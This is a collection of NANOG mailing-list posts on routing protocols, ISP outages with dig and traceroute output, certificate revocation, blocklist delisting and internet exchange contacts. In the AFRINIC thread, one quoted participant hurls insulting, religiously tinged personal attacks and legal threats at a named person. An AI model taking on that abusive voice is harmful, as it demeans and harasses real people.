Re: OSPF vs IS-IS

2011-08-16 Thread Paul

On 08/16/2011 12:55 PM, Tomas Lynch wrote:

On Thu, Aug 11, 2011 at 11:04 AM, Justin M. Streiner<
strei...@cluebyfour.org>  wrote:


On Thu, 11 Aug 2011, jim deleskie wrote:

  Having run both on some good sized networks, I can tell you to run

what your ops folks know best.  We can debate all day the technical
merits of one v another, but end of day, it always comes down to your
most jr ops eng having to make a change at 2 am, you need to design
for this case, if your using OSPF today and they know OSPF I'd say
stick with it to reduce the chance of things blowing up at 2am when
someone tries to 'fix' something else.


Agreed.  I did an OSPFv3 vs. IS-IS bake-off in my lab several months ago as
part of an IPv6 rollout, and one of the key deciding factors in going with
OSPFv3 over IS-IS was that our ops folks are much more familiar with OSPFv2.
  While there are difference between OSPFv2 and OSPFv3 in how they work, the
learning curve is a lot less steep than going from OSPFv2 to IS-IS.

jms

Do not underestimate the power of ops engineers. Really is not that

difficult to learn ISIS and they can add it to their resume.


What would you rather rely on at 3am in the morning when things are 
breaking?  Someone who has just learned IS-IS or someone who already has 
good experience with OSPF?  I would tend towards the latter in my 
decision making, unless there is significant enough advantage to be 
gained by the other.


Paul



Re: What do you do when your Home ISP is down?

2011-08-18 Thread Paul

On 08/18/2011 07:21 AM, Mark Keymer wrote:

I am wondering what some of you guys do when your home ISP is down. At
least those of you that don't give yourself internet.

I myself have a cable provider at home that I use. And I find it quite
frustrating to call and report issues in there network, because the
people in the call center have you do the same things every time and are
not very technical.

Just the other week I could see fairly clearly that I was getting routed
through there network and then started to have issues in a town about 3
hours away. I tried to explain this to the rep but they thought we
needed to reboot my modem. Surprise that didn't work. I mostly called
just to put in a FYI having issues here, please have the smart people
look into it. It is my understanding that they need to get X amount of
calls before things get escalated. Granted I am sure they monitor there
network too. But I called about 10 mins after the routing issues started
to happen and there was no notifications that there was any issues. Even
after being on the phone with them for 20? mins. Still they showed all
is good and that it must just be me.

I know we have a wide range of people here some of which work for my
Home ISP. and would love some feedback.

Sincerely,

Mark Keymer

I used to use Virgin Media in London for cable services, TV, phone & 
Internet.  TV and phone were fine, never had a problem.  Internet was 
routinely a hassle.  About every 3 months we'd have problems during peak 
hours with the PoP we were connected to or something nearby.  Others 
friends near us but on a different POP were fine, and our 20Mb 
connection would drop down to 1Mb with soaring latency in the 500ms+ 
region and ~70% packet loss.  Latency was high enough that I switched to 
using my cell phones GPRS connection for SSH for on-call.


Phoning their tech support was always a hassle.  Sitting there through 
the script, translating stuff from Windows instructions to Linux on the 
fly (The first time I called I dared to suggest to them I was running 
Linux and got told they didn't support 'hacker' operating systems, tech 
support person didn't appreciate it when I told him it was what their 
servers ran, which I knew from having colleagues who'd worked there).  
It was the same routine every time, waste 30 minutes speaking to first 
line support people, bounced from one to another then up to the 
supervisor, before finally being passed to someone with a technical clue 
who would spot the problem within about 30 seconds and schedule an 
engineer to go out and do whatever it is needed done.
If the main phone line hadn't been disconnected long before we moved in 
there and had such a steep re-connection fee I'd have got DSL as soon as 
it was clear it was going to be a regular problem :-/


Paul



Re: New Natural Disaster! 8/27/2011 Hurricane Irene

2011-08-26 Thread Paul
I'm assuming he also has fully redundant water sources, fertilisers etc, along 
with a contract for replenishment and resupply.

Can't be too safe. 

Scott Morris  wrote:

>Did you have backup tomatoes?
>
> 
>
>
>
>On 8/26/11 10:05 PM, Chris wrote:
>> Irene is already past me. I'm outside of Jacksonville, Florida by the
>> coast. Irene snapped my tomato plant in half overnight Wednesday.
>>
>>
>>
>
>


Re: DNS: 8.8.8.8 won't resolve noaa.gov sites?

2011-09-01 Thread Paul

Working fine for me:

$ dig @8.8.8.8 www.noaa.gov

; <<>> DiG 9.7.3 <<>> @8.8.8.8 www.noaa.gov
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 64856
;; flags: qr rd ra; QUERY: 1, ANSWER: 6, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;www.noaa.gov.  IN  A

;; ANSWER SECTION:
www.noaa.gov.   279 IN  CNAME   edge-hdq.woc.noaa.gov.
edge-hdq.woc.noaa.gov.  279 IN  CNAME   edge-rev.lb.noaa.gov.
edge-rev.lb.noaa.gov.   9   IN  A   140.90.200.23
edge-rev.lb.noaa.gov.   9   IN  A   140.172.17.23
edge-rev.lb.noaa.gov.   9   IN  A   129.15.96.23
edge-rev.lb.noaa.gov.   9   IN  A   140.90.33.23

;; Query time: 25 msec
;; SERVER: 8.8.8.8#53(8.8.8.8)
;; WHEN: Fri Sep  2 02:54:13 2011
;; MSG SIZE  rcvd: 147



$ dig @8.8.8.8 www.nhc.noaa.gov

; <<>> DiG 9.7.3 <<>> @8.8.8.8 www.nhc.noaa.gov
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 36145
;; flags: qr rd ra; QUERY: 1, ANSWER: 6, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;www.nhc.noaa.gov.  IN  A

;; ANSWER SECTION:
www.nhc.noaa.gov.   293 IN  CNAME   edge-nws.woc.noaa.gov.
edge-nws.woc.noaa.gov.  293 IN  CNAME   edge-rev.lb.noaa.gov.
edge-rev.lb.noaa.gov.   23  IN  A   140.172.17.23
edge-rev.lb.noaa.gov.   23  IN  A   129.15.96.23
edge-rev.lb.noaa.gov.   23  IN  A   140.90.33.23
edge-rev.lb.noaa.gov.   23  IN  A   140.90.200.23

;; Query time: 24 msec
;; SERVER: 8.8.8.8#53(8.8.8.8)
;; WHEN: Fri Sep  2 02:56:18 2011
;; MSG SIZE  rcvd: 151


On 09/01/2011 04:41 PM, Jay Ashworth wrote:

[ Cross-posted to NANOG and Outages; replies to outages or outages-discussion;
I would set the header, but Zimbra sucks.  :-) ]

I've had my home box set to use 8.8.8.8 as its primary resolver, falling back
to the BBN anycast.

Sometime today, 8.8.8.8 appears to have stopped resolving www.noaa.gov and
www.nhc.noaa.gov:

;<<>>  DiG 9.7.3-P3<<>>  @8.8.8.8 www.noaa.gov
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: SERVFAIL, id: 34999
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;www.noaa.gov.  IN  A

;; Query time: 33 msec
;; SERVER: 8.8.8.8#53(8.8.8.8)
;; WHEN: Thu Sep  1 22:38:11 2011
;; MSG SIZE  rcvd: 30

though it resolves Yahoo and Google and Akamai.com and everything else
I throw at it.

Digging noaa.gov at 4.2.2.1 returns what I expect.

Interesting, too, that Firefox 5.0 wouldn't DTRT, even though 4.2.2.1-3 were
the backup nameservers in my resolv.conf.

Road Runner Tampa Bay connection.

Can anyone confirm or deny?  Google DNS or NOAA people here, before I go ping
NOAA staff on Twitter?

Cheers,
-- jra





Re: Microsoft deems all DigiNotar certificates untrustworthy, releases updates

2011-09-09 Thread Paul

On 09/09/2011 11:48 AM, Marcus Reid wrote:

On Wed, Sep 07, 2011 at 09:17:10AM -0700, Network IP Dog wrote:

FYI!!!

http://seattletimes.nwsource.com/html/microsoftpri0/2016132391_microsoft_dee
ms_all_diginotar_certificates_untrust.html

Google and Mozilla have also updated their browsers to block all DigiNotar
certificates, while Apple has been silent on the issue, a emblematic zombie
response!

Apple has sent out a notification saying that they are removing
DigiNotar from their list of trusted root certs.

I like this response; instant CA death penalty seems to put the
incentives about where they need to be.

Marcus

Instant?  This has been going on for over a week, and a lot of damage 
could have been done in that time, especially given certs for *.*.com 
were signed against Diginotar.  Most cell phones are unable to update 
their certificates without an upgrade and you know how long it takes to 
get them through Cell Phone carriers.  A number of alternative android 
builds are adding the ability to control accepted root certs to their 
builds in the interest of speeding this up.  The CA system is 
fundamentally flawed.


Paul



Re: ouch..

2011-09-14 Thread Paul
http://www.cisco.com/en/US/prod/collateral/routers/ps5763/CRS-1x100GE_DS.html ? 

James Jones  wrote:

>Funny they forget to mention that Cisco doesn't have 100g any where.
>
>Sent from my iPhone
>
>On Sep 14, 2011, at 7:41 AM, Leigh Porter  wrote:
>
>> 
>> 
>>> -Original Message-
>>> From: Always Learning [mailto:na...@u61.u22.net]
>>> Sent: 14 September 2011 14:39
>>> To: N. Max Pierson
>>> Cc: nanog@nanog.org
>>> Subject: Re: ouch..
>>> 
>>> 
>>> On Wed, 2011-09-14 at 08:33 -0500, N. Max Pierson wrote:
>>> 
>>>> Either way, it's pathetic. If someone is going to slander in the
>>>> fashion the site has done, they should at least put a contact form
>>>> somewhere for some feedback :)
>>> 
>>> Slander means falsehood. Cisco tells lies ?
>>> 
>>> 
>>> --
>>> With best regards,
>>> 
>>> Paul.
>>> England,
>>> EU.
>> 
>> 
>> Lies? So who has 100G MX series cards then..?
>> 
>> --
>> Leigh
>> 
>> 
>> 
>> __
>> This email has been scanned by the MessageLabs Email Security System.
>> For more information please visit http://www.messagelabs.com/email 
>> __
>> 
>


Re: he.net down?

2011-10-03 Thread Paul

On 10/03/2011 12:35 PM, Aiden Sullivan wrote:

www.he.net seems to be down on both IPv4 and IPv6 -- does anyone know what is
going on?

Linode's Fremont location was effected too, HE are their network 
providers, was down for about an hour.


Paul



Re: Apple updates - Affect on network

2011-10-12 Thread Paul
There are a fair number of reports of Apple's update servers being 
down/intermittent.  I imagine that's probably fairly inevitable on 
launch day.  If people haven't already updated and are thinking about 
doing it, it's probably worth holding off a day or two just in case.


Paul

On 10/12/2011 10:56 AM, Carlos Alcantar wrote:

Has anyone else bricked there phone doing the iOS 5 update.  I just ran
mine in the middle of the update I got a 3004 error doing some research
that error means can't connect to gs.apple.com I'm guessing that¹s there
upgrade server.  So right now I'm SOL till I can connect to the update
server.  Looking on twitter it looks like I'm not the only person that has
gotten this.

Carlos Alcantar
Race Communications / Race Team Member
101 Haskins Way, So. San Francisco, CA. 94080
Phone: +1 415 376 3314  Fax:  +1 650 246 8901 / carlos *at* race.com /
www.race.com





On 10/12/11 1:20 PM, "Ray Van Dolson"  wrote:


On Wed, Oct 12, 2011 at 01:10:08PM -0700, Zachary McGibbon wrote:

With all of Apple's updates today (MacOS, iOS, Apps, etc) we saw a big
increase on one of our links to our ISP at 1pm Eastern.

Did anyone else notice significant traffic jumps on their networks?

That's an impressive jump.  Do you have some netflow data showing the
target subnets that were being hit?

Ray









Re: 4.2.2.2 acting up? or is it just me?

2011-10-19 Thread Paul
No packet loss but I'm seeing some fairly variable performance on the 
penultimate hop, reaching it both from Timewarner in Hawaii and HE's 
fremont location:


ae-31-80.car1.SanJose1.Level3.net Last: 56.2  Average:74.6  Best: 56.1 
Worst: 259.3  StDev: 47.4


Paul

On 10/19/2011 07:15 AM, Lorell Hathcock wrote:

All:



I am experiencing trouble with reaching 4.2.2.2 right now from my netblock.
ASN 23077.



Is it just me or are others experiencing the same thing?



Thanks,



Lorell










Re: Noction?

2013-04-10 Thread Paul
We are using the product. It works fairly well although the code is 
still slightly immature at the moment.
Started using it about a year ago in beta and it has greatly improved 
over time (due to a lot of input from us beta testing it in the process :> )



On 4/10/2013 5:56 PM, Aaron Wendel wrote:
It's like the Internap FCP.  I think it's been on the market about a 
year.


They're a nice group of guys and the product does what they say it does.

Aaron



On 4/10/2013 4:30 PM, Ray Wong wrote:

gotten a few cold calls from Noction. All I see is some PR about BGP
happiness and good feelings with no technical hints about what they
actually have to offer. They haven't even hit me directly, rather seem
to be chasing us down via corporate listings, so are giving me
not-confident feelings I should even return a call to them. Anyone
know anything about them?

-R>







--
GloboTech Communications
Phone: 1-514-907-0050 x 215
Toll Free: 1-(888)-GTCOMM1
Fax: 1-(514)-907-0750
p...@gtcomm.net
http://www.gtcomm.net




Re: Level 3 issues

2008-12-28 Thread Paul
Same issue here from Chicago and Montreal. Seems anything routing 
through Washington.Level3 is going to null. The rest of the level3 
network seems to be ok.
6  ae-32-52.ebr2.Chicago1.Level3.net (4.68.101.62)  0.976 ms  10.344 
ms  0.866 ms
7  ae-5.ebr2.Chicago2.Level3.net (4.69.140.194)  1.245 ms  0.991 ms  
0.978 ms
8  ae-2-2.ebr2.Washington1.Level3.net (4.69.132.70)  18.608 ms  18.961 
ms  18.583 ms

9  * * *
10  * * *
11  * * *
12  * * *
13  * * *
14  * * *
15  * * *
16  * * *

...
4  car1.Montreal2.Level3.net (67.215.0.146)  0.657 ms  0.791 ms  0.699 ms
5  ae-5-5.ebr4.NewYork1.Level3.net (4.69.141.6)  17.764 ms  8.490 ms  
18.197 ms
6  ae-94-94.csw4.NewYork1.Level3.net (4.69.134.126)  15.541 ms  8.286 
ms  17.098 ms
7  ae-93-93.ebr3.NewYork1.Level3.net (4.69.134.109)  11.384 ms 
ae-61-61.ebr1.NewYork1.Level3.net (4.69.134.65)  9.100 ms  8.614 ms
8  ae-3-3.ebr4.Washington1.Level3.net (4.69.132.93)  13.840 ms  15.584 
ms  17.443 ms
9  ae-94-94.csw4.Washington1.Level3.net (4.69.134.190)  23.420 ms  
25.569 ms  18.042 ms
10  ae-4-99.edge2.Washington4.Level3.net (4.68.17.211)  14.052 ms  
14.028 ms  13.610 ms

11  * * *
12  * * *
13  * * *
14  * * *
15  *


Paul Stewart wrote:

Ahh.. yes seeing that now here from Toronto ON - didn't see this issue when the 
original poster sent the first message... it's now happening here too...

Shutting down their session until something looks "better"

-Original Message-
From: Pierre-Henri [mailto:phac...@gmail.com] 
Sent: December 28, 2008 1:06 PM

To: marco
Cc: nanog@nanog.org
Subject: Re: Level 3 issues

marco a écrit :
  

is anyone having issues with Level3?

  


hi,
theplanet.com and many websites (cnn.com ; amazon.com ; ... ) have not 
been accessible from France (Orange, home connection) for about 30 minutes.

Don't know if there is a link with your question, but it's strange...


Pierre-Henri



 




"The information transmitted is intended only for the person or entity to which it 
is addressed and contains confidential and/or privileged material. If you received this 
in error, please contact the sender immediately and then destroy this transmission, 
including all attachments, without copying, distributing or disclosing same. Thank 
you."


  


--
GloboTech Communications
Phone: 1-514-907-0050 x 215
Toll Free: 1-(888)-GTCOMM1
Fax: 1-(514)-907-0750
p...@gtcomm.net
http://www.gtcomm.net 





Re: SORBS on autopilot?

2010-01-15 Thread paul

Michelle,

Thanks for your email.  Please specifically look at ticket 260695.  I 
created the ticket on January 5th at about 1:30EST.  Immediately I got my 
response from the robot.


I replied a few minutes later with:


67.196.137.188/32

TTL is right.  PTR is right.


From your email, it is my understanding this should have went to a human. 
I have no idea why my IP address wasn't accepted in the first place.  And 
I have no idea why I didn't get a human response.


A couple suggestions:
-program the robot to give the exact reason why it is denying: TTL wrong 
or PTR indicates dynamic or whatever
-kind of leaping to conclusions here, but possibly the robot is caching 
DNS?  Which means even if what was broken had been fixed, the robot 
wouldn't see it?


Thanks,
--
Paul Hessels



Re: SORBS on autopilot?

2010-01-15 Thread paul

Michelle,

--
Paul

In the beginner's mind there are many possibilities, but in the expert's mind 
there are few.
Shunryu Suzuki


On Fri, 15 Jan 2010, Michelle Sullivan wrote:

That is my view, however most (if not all) of the tickets were for the /22 
not the /32 which is why it was rejected.


On all of my tickets but one the robot said:

"I've analyzed the following IP space, based on the text of your
request:

67.196.137.188/32"




From your email, it is my understanding this should have went to a human. I 


So go back to the robot response and tell me where it says it'll be sent to a 
human...please...?


Until you told me it was going to a human, I didn't know.  In fact, I only 
replied to the robot out of frustration; who would reply to a robot 
expecting a different answer the second time?


Its been 10 days without a response, maybe my ticket got caught up some 
where?


-kind of leaping to conclusions here, but possibly the robot is caching 
DNS?  Which means even if what was broken had been fixed, the robot 
wouldn't see it?


The robot caches results for 48 hours to prevent people launching DoS attacks 
on our systems as well as yours.  The results are easily checked here:




Perhaps require them to login.



http://nemesis.sorbs.net:82///.txt

eg:

http://nemesis.sorbs.net:82/67/196/67.196.137.0.txt



Access to this would have helped a lot.  Atleast I would have had some 
place to start.  I see the last scan was on Jan 12th.  I see an error I 
can't really account for.


In this case you can easily see why the robot was unable to process the 
request...  PTR's were requested from the nominated authoritive servers, only 
to receive a "NODATA" response (commonly seen if TCP responses are required 
or CNAMEs are returned without the PTR.)


There is an issue with the robot and some correctly assigned classless 
delegations due to the way we process the data, there are various catches to 
correct this and re-process the network with a more reliable (but 
considerably more resource hungry) method.  Unfortunately it's not fool proof 
though, which is why we tell people to respond to the robot response to get a 
human to review it.  If anyone out there is knowledgable in Perl, C and DNS 
and wants to take a shot at fixing that issue I'd love to have the help.


I seem to have gotten caught in a corner case then?  Because as far as I 
can see everything is setup correctly on my end.


Your help would be appreciated.



Michelle





Re: Residential GPON last mile for network engineers (Telus AS852 and others)

2020-10-15 Thread Paul Nash
I have a Bell Canada gig fibre connection.  My first attempt was to bridge 
their all-in-one box (disaster, unreliable as all hell), second was to set a 
bunch of rules for inbound traffic.  Apart from inbound access being *very* 
iffy, their device was s_l_o_w.

So I pulled the fibre GBIC, used a small switch to grab the correct VLAN and 
pointed that at a small Cisco box.  Way more flexible, faster and more reliable 
than Bell’s box.  DSLreports had all the info needed to get the correct VLANs

YMMV

> On Oct 13, 2020, at 9:56 PM, Eric Kuhnke  wrote:
> 
> Very interesting. Looks like the intention is to bypass the ONT entirely and 
> use a GPON ONT SFP in ones own choice of small home router. If the ISP wants 
> to do some weird TR069 provisioning or other stuff it could be seen as 
> interfering with the proper management of their network if you remove the CPE 
> entirely.
> 
> In an ideal world, personally I would be totally fine with keeping a telco 
> provided small ONT configured as a dumb L2 bridge, with one optical interface 
> single strand (SC/APC) going to the ISP, and 1000BaseT to my own router.
> 
> On Tue, Oct 13, 2020 at 6:51 PM Eric Dugas  wrote:
> I don't have any particular insights for Telus, but there is a huge thread 
> about bypassing Bell ONTs on DSLReports: 
> https://www.dslreports.com/forum/r32230041-Internet-Bypassing-the-HH3K-up-to-2-5Gbps-using-a-BCM57810S-NIC
> Cheers,
> Eric
> On Oct 13 2020, at 9:38 pm, Eric Kuhnke  wrote:
> With the growth of gigabit class single fiber GPON last mile services, I 
> imagine a number of people reading the list must have subscribed to such by 
> now.
> 
> Something that I have observed, and shared observations with a number of 
> colleagues, is that very often a person who works for ($someAS) lives in a 
> location where you are effectively singlehomed to ($someotherAS). Maybe you 
> bought your house before you got a job with your current employer, or maybe 
> the network you work for doesn't do residential last mile service at all. 
> Perhaps you work remotely for a regional sized entity that's a long distance 
> away from where you live.
> 
> Therefore necessitating a choice of service from whatever facilities based 
> consumer-facing ISP happens to service your home.
> 
> For example, in Seattle, a number of people discovered that they could keep 
> the Centurylink GPON ONT, and remove the centurylink-provided router/modem 
> combo device. Provided that they were able to configure their own router 
> (small vyatta, pfsense box, mikrotik, whatever) to speak a certain VLAN tag 
> on its WAN interface and be a normal PPPoE / DHCP client.
> 
> I'm sure there are a lot of people who prefer to run their own home router 
> and wifi devices, and not rely upon a ($big_residential_isp) provided 
> all-in-one router/nat/wifi box with opaque configuration parameters, or no 
> ability to change configuration at all.
> 
> Any insights as to what the configuration of the Telus AS852 GPON network 
> looks would be helpful. Or other observations in general on 
> technically-oriented persons who are doing similar with other ILECs.



QB server hiccups

2020-10-22 Thread Paul Nash
After an outage yesterday, I am trying to streamline and simplify the St Felix 
QB setup to make it more reliable and easier to administer.

The most critical factor that influences the overall design is the realistic 
maximum number of simultaneous users.

If we can live with a maximum of two users logged on at any one time, I can 
simplify the system dramatically, which will streamline operations and improve 
reliability.  

If we need to have more than two users logged at any time, then we need the 
current setup, with its various woes.  The problem are not insurmountable, but 
the system is more complex.  FWIW, a quick check looks like Shan has been the 
only active user for the past couple of months, but I may be wrong.

Either way, I need to overhaul some parts of the current setup, which was 
thrown together in an enormous rush.  Once I know what parts we are going to 
follow, I will make appropriate plans and let everyone know.

Yesterday’s problems were caused by the combination of Techsoup and Microsoft.  
Licenses that I ordered and paid for were not delivered correctly, leading to 
the QB server shutting down at an inopportune time.  After restoring the 
server, reverting to trial licenses, I spoke to MS tech support, who suggested 
that we start all over again purchasing the TS licenses.  They also suggested 
that we just buy them directly from MS at full retail price, which is not much 
more that the Techsoup price.

Right now, we should be good for a couple of months, but I want to prevent any 
similar issues in future, and even the regular jumping-through-hoops that I 
have been doing up until now to keen the current system running.

The first issue to resolving this and improving long-term reliability, is to 
decide how many simultaneous users we realistically need.  The rest will flow 
from that.

Regards

paul

APOLOGIES: QB server hiccups

2020-10-22 Thread Paul Nash
Autocorrect changed a misspelled recipient to “nanog”.

paul (grovelling for forgiveness)

PLEASE CHECK THE REPLY EMAIL ADDRESS -- Re: QB server hiccups

2020-10-22 Thread Paul Nash
Typo in the first version copied this to a mailing list.

I sent a newer version shortly after copied to Brian instead :-)

Please delete the earlier one & only reply to the later one.

Thanks

paul

> On Oct 22, 2020, at 1:19 PM, Paul Nash  wrote:
> 
> After an outage yesterday, I am trying to streamline and simplify the St 
> Felix QB setup to make it more reliable and easier to administer.
> 
> The most critical factor that influences the overall design is the realistic 
> maximum number of simultaneous users.
> 
> If we can live with a maximum of two users logged on at any one time, I can 
> simplify the system dramatically, which will streamline operations and 
> improve reliability.  
> 
> If we need to have more than two users logged at any time, then we need the 
> current setup, with its various woes.  The problem are not insurmountable, 
> but the system is more complex.  FWIW, a quick check looks like Shan has been 
> the only active user for the past couple of months, but I may be wrong.
> 
> Either way, I need to overhaul some parts of the current setup, which was 
> thrown together in an enormous rush.  Once I know what parts we are going to 
> follow, I will make appropriate plans and let everyone know.
> 
> Yesterday’s problems were caused by the combination of Techsoup and 
> Microsoft.  Licenses that I ordered and paid for were not delivered 
> correctly, leading to the QB server shutting down at an inopportune time.  
> After restoring the server, reverting to trial licenses, I spoke to MS tech 
> support, who suggested that we start all over again purchasing the TS 
> licenses.  They also suggested that we just buy them directly from MS at full 
> retail price, which is not much more that the Techsoup price.
> 
> Right now, we should be good for a couple of months, but I want to prevent 
> any similar issues in future, and even the regular jumping-through-hoops that 
> I have been doing up until now to keen the current system running.
> 
> The first issue to resolving this and improving long-term reliability, is to 
> decide how many simultaneous users we realistically need.  The rest will flow 
> from that.
> 
> Regards
> 
>   paul



Re: AFRINIC IP Block Thefts -- The Saga Continues

2020-11-16 Thread Paul Nash
If you don’t have  coherent argument, take Trump’s approach with an incoherent 
ad-hominem attack.

I have been filling this issue with a lot of interest, and to date you have 
offered no evidence of anything, apart from your ability to spew vitriol.



> On Nov 16, 2020, at 10:04 AM, Elad Cohen  wrote:
> 
> Tom,
> 
> Until today all I wrote was facts and evidence, in the contrary to 
> Pore-spilling Ronald. When Ronald keeps defaming me here non-stop, Yes my 
> full right is to sue him, even if you prefer that my blood will be shed here 
> by his filthy soul and pores. And you can be sure that I will respond to any 
> of his defamation messages.
> 
> "No value to the community" - there is value to the community, anyone which 
> is following Pore-spilling Ronald is following the ancient snake, it is not 
> written in Old Testament, it is written in Old Scripture, go ahead and check, 
> Ronald visual appearance match one by one to the lawless one description 
> (lawless one is a term of New Testament) according to Old Scripture.
> 
> Go swim in Ronald juicy pores if you would like.
> 
> 
> From: Tom Beecher 
> Sent: Monday, November 16, 2020 4:54 PM
> To: Elad Cohen 
> Cc: nanog@nanog.org ; adm...@nanog.org 
> Subject: Re: AFRINIC IP Block Thefts -- The Saga Continues
>  
> I would like to formally request that Mr. Cohen's privileges to post to this 
> list be revoked, or otherwise curtailed.
> 
> It's one thing to dispute facts with evidence, or generally disagree on a 
> topic. However , threats of legal action and personal attacks citing Old 
> Testament mumbo jumbo, while creative, provide no value to the community. 
> 
> As Mr. Herrin stated well, we are all swimming in enough nutter butter 
> conspiracy theory nonsense every day. I hope we don't normalize it here too. 
> 
> On Mon, Nov 16, 2020 at 4:24 AM Elad Cohen  wrote:
> 
> If AfriNIC says your "purchases" are misappropriation you'll have to do a lot 
> better than conspiracy theories and phrenology in counter argument.
> 
> 
> Why are you using the word "purchases" with quotation marks, it seems that 
> you are a victim of your next paragraph, and I'm writing it with all due 
> respect.
> 
> Did I start legal proceedings with AfriNIC with conspiracy theories or with 
> facts and data?
> 
> Phrenology (and racism) is the field of Coconut Guilmette, according to his 
> own quotes right here in Nanog.
> 
> "If AfriNIC says" - AfriNIC, nor Spamhaus, nor Ops-Trust, nor MyBroadband, 
> are not the word of god and are not above law and justice.
> 
> To remind to everyone: AfriNIC filed a police complaint on themselves. And 
> AfriNIC CEO lied to the community in the following link when he wrote that I 
> was given a chance to respond when in reality all my emails were ignored. And 
> AfriNIC CEO is intentionally hiding from the community that any AfriNIC 
> policy is applied also to any legacy netblock that even don't have a signed 
> RSA (according to the legal proceedings against AfriNIC, and in contradiction 
> to AfriNIC "Legacy Resource Holders" webpage: 
> https://afrinic.net/membership/legacy-resource ), it have implications on 
> each and every legacy resource holder all over the world (that a RIR can just 
> delete a legacy netblock).
> 
> https://lists.afrinic.net/pipermail/community-discuss/2020-January/003458.html
>  - "We are also ensuring that the current holder/contact of the resources are 
> provided with the opportunity of proving their ownership."
> 
> 
> Besides the above, AfriNIC also have a financial motive in their actions, 
> approximately up to more $4M per year from assets that they illegaly and 
> unjustifiably took from me (by sub-allocating them to AfriNIC members), while 
> writing lies to their community and playing a long with the "community 
> pressure" game.
> 
> 
> I find the actions of AfriNIC to be very dangerous, because they are not 
> based on facts and data and law and justice, but only on community pressure. 
> Any network operator, that can elevate himself/herself from bad habits (like 
> enjoying seeing blood spilled and jealousy), would know that today it is me 
> but tomorrow it can be you.
> 
> 
> 
> From: NANOG  on behalf of William 
> Herrin 
> Sent: Monday, November 16, 2020 10:00 AM
> Cc: nanog@nanog.org 
> Subject: Re: AFRINIC IP Block Thefts -- The Saga Continues
>  
> On Sun, Nov 15, 2020 at 10:58 PM Elad Cohen  wrote:
> > Anyone that is interested to receive any answer from me, please email me 
> > directly, I will say that Ronald Guilmette is intentionally spreading lies, 
> > and for the sake of Nanog community I will not reply to him over and over 
> > in the same coin, I was gladly interested in the past to share all the 
> > information (including AfriNIC legal proceedings) with a person respected 
> > by the Nanog community (and I'm still interested to do so today), such as 
> > William Herrin, or to anyone else respected by the Nanog community.
> 
> Ugh. I don't suppose I can graceful

Re: Phoenix-IX Contact

2020-11-17 Thread Paul Emmons

Hello All!

I've been out of the loop here and but have some updates.

There was a change last spring and I moved on to other projects. But 
that hasn't worked out for the IX.


I  have regained access to all of the elements, including the email and 
voip.  Let me reach out to each of you offline in the coming days.


I have been able to reach out to a few locals that are willing to help 
get the project back up to where it needs to be.


If I haven;t reached out to you in the next 48 hours or you have 
something urgent, please reach out to me here (my personal email) or via 
the Phoenix-IX Contacts


peer...@phoenix-ix.net

+1 602 688-6414

~Paul Emmons
On 11/16/2020 12:23 PM, Neil Hanlon wrote:
While I agree it is objectively irresponsible to abandon a project 
without passing it to another, I think that possibly in this situation 
we don't know all the details?


2020 has been a difficult year for everyone. Perhaps Paul (and 
whomever else may be responsible for Phoenix-IX) were subject to 
things this year beyond their control which led them to be unable to 
work on the project and unable to transfer it, either.. unfortunate, 
yes.. but not malicious surely.


If Paul _is_ reading these messages.. I think support is the best path 
forward.. If there are things that can be done to assist/take over the 
IX... maybe that would help (as you, Kate, had offered towards the 
beginning of this all). Though of course, the first step is _reaching_ 
them... Maybe this can be turned into a "win" for everyone. So: 
Paul/Phoenix-IX -- let the NANOG community know how they/we can help.


--
Neil

On Mon, Nov 16, 2020 at 2:05 PM Kate Gerry <mailto:kge...@outlook.com>> wrote:


An update on my side, we reached out to PhoenixNAP, one of the
Phoenix-IX's vendors.

PhoenixNAP reached out all of their contacts at Phoenix-IX and
have received no response. They are in as much of the dark as the
rest of us. I feel like I'm on the Ghost ship Phoenix-IX.

What I don't understand, is how somebody could abandon a project
without passing it to another person or entity. This is extremely
irresponsible.

—
Kate


On Nov 12, 2020, at 05:11, Marcus Josephson mailto:mjoseph...@inap.com>> wrote:

I tried to get a link to PHX-IX for months. Never heard back from
them, went with Digital Realty Phoenix
*From:*NANOG mailto:nanog-bounces+mjosephson=inap@nanog.org>>*On Behalf
Of*Kate Gerry
*Sent:*Tuesday, November 10, 2020 11:06 AM
*To:*Matt Hoppes mailto:mattli...@rivervalleyinternet.net>>
*Cc:*nanog@nanog.org <mailto:nanog@nanog.org> list
mailto:nanog@nanog.org>>
*Subject:*Re: Phoenix-IX Contact
Matt,
I am running on a huge assumption here, but I think Phoenix-IX
runs on donated infrastructure. From what I recall, there was
only an NRC to join Phoenix-IX.
And in regards to Walt's suggestion, it looks like HE already
started one with Stellar Technologies. https://48ix.net
<https://48ix.net/> but it is only in a single facility. So until
that IX grows, both in peers and footprint, I'm stuck on Phoenix-IX.
I have wondered what happens if a participant storms the IX. Will
somebody appear? Because attempts to reach their NOC/peering
handles has resulted in a lack of response.
I also wonder how the other Ninja-IX exchanges are running, I
haven't heard anything about them, is there the same lack of
communication? Or do those have a local staff?
—
Kate


On Nov 10, 2020, at 06:15, Matt Hoppes
mailto:mattli...@rivervalleyinternet.net>> wrote:
How is the IX still running?  Surely someone must be paying
colo rent?

On 11/10/20 9:03 AM, Eric Kuhnke wrote:

Always a good time for network operators to consider the
risks of having any one person as a single point of
failure for something kind of important:
https://en.wikipedia.org/wiki/Bus_factor
<https://en.wikipedia.org/wiki/Bus_factor>
Disaster recovery and continuity of business plans should
always include the concept of what if some percentage of
the key team members were to be suddenly unavailable
permanently (the Malaysian airline incident, for example).
On Mon, Nov 9, 2020 at 8:08 PM Kate Gerry
mailto:kge...@outlook.com
<mailto:kge...@outlook.com%20%3cmailto:kge...@outlook.com>>>
wrote:
   Is there anybody else even there? I thought that it
was all Paul's show!
   If I was able to (as in, had access to), I would offer
to help/run
   with the IX. I may live in California, but it's a
realistic car trip
   back and forth to Phoenix.
  

Fwd: Phoenix-IX Contact

2020-11-17 Thread Paul Emmons

still trying to post . . .


 Forwarded Message 
Subject:Re: Phoenix-IX Contact
Date:   Mon, 16 Nov 2020 13:15:34 -0700
From:   Paul Emmons 
